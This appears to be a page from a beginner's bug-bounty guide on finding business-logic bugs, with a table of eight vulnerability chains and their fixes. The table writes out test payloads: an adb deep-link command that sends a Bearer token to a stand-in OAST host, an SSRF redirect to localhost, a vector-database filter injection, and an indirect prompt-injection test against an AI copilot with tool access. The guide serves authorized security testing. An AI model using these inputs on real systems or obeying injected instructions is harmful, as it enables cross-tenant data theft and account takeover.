Business Logic: Draw the Map First
Scanners and undirected agents are weak on stateful bugs. Frans Rosen noted on the Critical Thinking podcast that models stumble on multi-step flows, WebSockets, and tenant switching. That matches the survey data in Section 16. It does not mean you should start firing clever requests blindly. It means you should draw the feature before you touch it.
A single odd HTTP response is not a finding. Two accounts you control, a state change that survives a refresh, and a normal sequential run that does not produce the same change. That is the bar.
Six axes to map first
Section titled “Six axes to map first”Write these down for one feature. Billing, invites, approvals, and document export are worth the hour.
- Roles. Anonymous, free, paid, org admin, platform admin, service account. Name the ones this product actually has, not a textbook list.
- States. Draft, pending, active, suspended, deleted, archived. Use whatever the UI calls them.
- Transitions. Which action moves an object between states, and which role is allowed to trigger it.
- Ownership. Who owns the object, whether ownership can transfer, and what happens to child objects when it does.
- Background work. Email, invoices, provisioning, search indexing, cleanup. The web request and the job worker sit on different trust boundaries. The request often checks the tenant while the worker runs with a broad database role.
- Outside systems. Payments, identity providers, webhooks. Check whether the app validates that a callback actually came from the service it claims to be.
On a larger SaaS target, also note the transport (REST, GraphQL, WebSocket) and where the check lives (gateway, microservice, or database row-level security). A check that exists only in the gateway is a bug waiting for a second door.
Five questions that find logic bugs
Section titled “Five questions that find logic bugs”Each question is a hypothesis. Confirm it with accounts you own, and stop at the first proof. Never pull real customer data to “see how bad it is.”
- State skip. Can a draft be published, approved, or paid without passing the required review step? You are looking for content or credits that become active without authorization.
- Replay. Can a completed payment, coupon redemption, or invite be submitted again to credit the account twice? One action, one effect is the rule under test.
- Two people, one seat. Can two concurrent sessions claim the same resource, coupon, or org seat? The high-value case is a duplicate grant or a transfer that lands in both accounts.
- The worker trusts you. You pass an ID or URL the synchronous API should have rejected, and a background job acts on it later (CSV import, PDF export, scheduled report, document indexer).
- The invite crosses a tenant. An invitation minted for Organization A can be accepted by a user in Organization B, granting access to A’s private data.
Race conditions sit under replay and “two people, one seat.” Prove the double effect on a local lab first. On a live program, one confirmed double-spend of a test credit is the report. Firing a thousand requests is how you get banned.
Eight high-payout chains and how to verify them
Section titled “Eight high-payout chains and how to verify them”Triage closes isolated low-severity notes. Real payouts happen when two small flaws cross a trust boundary.
| Chain | What is broken | Minimal two-account verification | Server-side fix |
|---|---|---|---|
| 1. UUID leak + BOLA | A public feed, comment, or autocomplete response exposes another tenant’s UUIDv4, and the download route skips ownership checks (A01:2025 / API1:2023). |
Create a private invoice in Tenant A. Extract its UUID as Tenant B from the secondary endpoint, then request GET /api/v2/invoices/{uuid}/pdf with Tenant B’s token. |
Enforce WHERE invoice_uuid = ? AND tenant_id = session.tenant_id in the query. |
| 2. Weak recovery + stale sessions | Completing POST /api/v1/auth/reset-password updates the hash but leaves old refresh_token records or API keys active (A07:2025). |
Log into Test Account 1 in Browser A. Reset the password in Browser B. Confirm Browser A’s refresh token still mints fresh JWTs. | Increment a server-side token_version on password change and reject older tokens. |
| 3. Cancel/refund single-packet race | POST /api/v1/billing/cancel-and-refund checks status == 'ACTIVE' non-atomically before crediting a wallet (A06:2025). |
Send 5 synchronized HTTP/2 requests (Section 22) against a $10 test subscription. Verify multiple credit allocations persist. | Use SELECT ... FOR UPDATE, atomic UPDATE ... WHERE status = 'ACTIVE', and idempotency keys. |
| 4. Async job RLS bypass | Synchronous POST /api/v1/reports/schedule checks Tenant A’s token but accepts {"dataset_id": "ds_tenant_b"}. The Celery/Sidekiq worker runs as service_role. |
Schedule an export in Tenant A referencing Tenant B’s test dataset ID. Download the finished export archive to confirm cross-tenant data. | Pass signed tenant context into the job queue and set app.current_tenant RLS inside the worker. |
| 5. SSRF redirect to internal service | A URL importer validates DNS on the initial host to block RFC 1918 IPs, then follows an HTTP 302 redirect to http://127.0.0.1:9001 (A01:2025). |
Point the importer at an authorized redirector returning Location: http://127.0.0.1:9001/server-status and check the preview output. |
Re-validate resolved IPs at the socket layer on every redirect hop and require auth on internal services. |
| 6. Android deep link + WebView | An exported DeeplinkRouterActivity forwards an unvalidated redirect_path to an internal WebView that attaches Authorization: Bearer headers (MASVS-PLATFORM). |
Run adb shell am start -a android.intent.action.VIEW -d "myapp://open?redirect_path=https://your-oast.example" and check whether the Bearer token arrives. |
Use verified Android App Links (assetlinks.json) with a strict host allowlist and never attach auth headers to third-party origins. |
| 7. Indirect prompt injection + excessive agency | An AI copilot reads untrusted input (ticket, PR comment) while holding MCP permissions for state-changing tools (LLM01:2026 + LLM03:2026 / ASI02). |
Submit a test ticket with a delimited instruction targeting your second test account. Observe whether the agent invokes the tool without out-of-band approval (Section 23). | Require deterministic human-in-the-loop approval outside the model context for state-changing tools. |
| 8. RAG vector filter injection | POST /api/v1/ai/search merges user-supplied JSON filters directly into the vector DB query (LLM02:2026). |
Plant a canary in Tenant A. From Tenant B, send filters: {"$or": [{"org_id": "tenant_a"}, {"org_id": {"$ne": null}}]} and check for Tenant A’s chunks. |
Build vector DB tenant_id filters strictly on the server from verified JWT claims. |
Write every chain as explicit links: root cause, each hop, the final state change, and the missing server-side check. “Impact: high” is not a link.
How logic reports get downgraded
Section titled “How logic reports get downgraded”Logic reports die in three predictable ways:
- You describe a fear instead of a state change. “An attacker could maybe refund twice” backed only by a single 200 response gets closed as informative.
- You treat a client control as a security boundary. If the UI hides a button and the API properly returns
403, there is no bug. - You ask the program to imagine a victim. Use two accounts you own. If the flaw only triggers with an external party you cannot control, state that honestly and stop.
Client-side issues such as clickjacking belong in a report only when chained to a proven server state change. Alone, they are usually informational.
Remediation you can actually recommend
Section titled “Remediation you can actually recommend”Name the missing server-side check in one or two sentences:
- Put ownership checks inside the database query, tied to the session’s tenant rather than a client-supplied ID.
- Make state transitions conditional updates (
WHERE status = expected), not a separate read followed by a write. - Guard single-use actions with an idempotency key or a database row lock.
- Pass tenant identity to background workers inside a signed job context, never from a nested user JSON field.
- Put confirmation gates for sensitive agent tools outside the prompt.
Map the feature, then test one question. Section 20 is this same workflow in checkbox form.
Open local graph around this page
Linked from here
- FoundationsBroken Access Control
- Methodology: Hunting at ScaleBroken Access Control
- Where to Go After Your First $500Bug Hunting
- High-ROI Bug Classes (With Real Disclosed Payouts)Bug Hunting
- How to Read This GuideBug Hunting
- Per-Hunt ChecklistBug Hunting
- Practice, Notes, and a Year That Is Not a Salary GoalBug Hunting
- Priority Matrices & RoadmapsBug Hunting
- Recon Methodology: How Real Hunters Map a TargetBug Hunting
- Standards Map: What to Cite in a ReportBug Hunting
- What to Hunt FirstBug Hunting
Bug Hunting for BeginnersFor authorized testing only. Read the ethics note before you put a domain in scope.